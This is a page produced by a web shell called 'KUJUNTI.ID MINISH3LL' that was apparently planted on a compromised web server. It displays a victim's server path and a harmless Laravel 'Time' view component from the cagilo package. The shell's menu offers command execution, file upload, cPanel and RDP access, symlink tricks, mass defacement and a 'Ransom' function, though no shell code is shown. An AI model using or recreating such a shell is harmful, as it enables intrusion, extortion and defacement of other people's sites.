KUJUNTI.ID MINISH3LL
Path : /var/www/clients/client0/web25/web/vendor/cagilo/cagilo/src/Components/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/clients/client0/web25/web/vendor/cagilo/cagilo/src/Components/Time.php


<?php

declare(strict_types=1);

namespace Cagilo\UI\Components;

use Carbon\Carbon;
use DateTimeInterface;
use Illuminate\Contracts\View\View;
use Illuminate\View\Component;

class Time extends Component
{
    /**
     * @var \Carbon\Carbon
     */
    public $date;

    /**
     * @var string
     */
    public $format;

    /**
     * @var bool
     */
    public $human;

    /**
     * @param \DateTimeInterface $date
     * @param string|null        $format
     * @param bool               $human
     */
    public function __construct(DateTimeInterface $date, string $format = null, bool $human = false)
    {
        $this->date = Carbon::instance($date);
        $this->format = $format ?? config('cagilo.date-format');
        $this->human = $human;
    }

    /**
     * @return \Illuminate\Contracts\View\View
     */
    public function render(): View
    {
        return view('cagilo::time');
    }
}

© KUJUNTI.ID

Website Feedback Form

Please fill out the form below to send us your feedback.




Contact Support